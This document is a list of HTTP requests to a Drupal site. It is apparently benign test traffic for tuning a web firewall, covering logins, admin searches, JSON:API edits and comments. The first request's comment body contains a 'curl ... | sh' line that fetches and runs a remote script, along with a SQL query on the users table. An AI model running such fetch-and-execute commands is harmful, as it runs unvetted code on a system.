{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
{"method": "GET", "target": "/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2FExample%20notes&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=Example%20notes&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"Example notes\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=Example+notes&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=Example+notes&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-ExM1yju0J7E_BWsAPDga4ruGt4jNC4ZYZm2O6h3Hbgs&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-DsAWf9i7VTcgEpa_v2ezxxkRyrzx-e8Wydrq98CIpI0&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-r_rjIfS0iUft64xRiTbaT2lvCMr4ysWHJ-KnCvzaiNo&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-qHOBnxb51eUvXCKxKEbfbUtM6lzFgwT7itFH0f_FaPU&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+notes&body%5B0%5D%5Bvalue%5D=%3Cp%3EExample+notes%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ABi6ln4cnnmfKcYRv2HvQFgXlHI5BTFDfMg-LwBU4aI&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-arO8ZdOSVcFdDqJoz7AJLALB_5Jlut5LXJSnVQmFK8w&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=editor%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Tww5TAI2JlLptGMeqDr8TrYVQtivoUUfQBqMEdAZEBc&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=Example+notes&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=editor&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-vfSxkkRUliHZ94RNDGQPYf7s4xzppLcOTEr_tFXggpE&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=Example-notes%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=Example+notes&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Example notes\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"Example notes\", \"description\": {\"value\": \"Example notes\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"Example notes\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"Example notes\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"Example notes\"}}}"}
{"method": "GET", "target": "/user/password?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
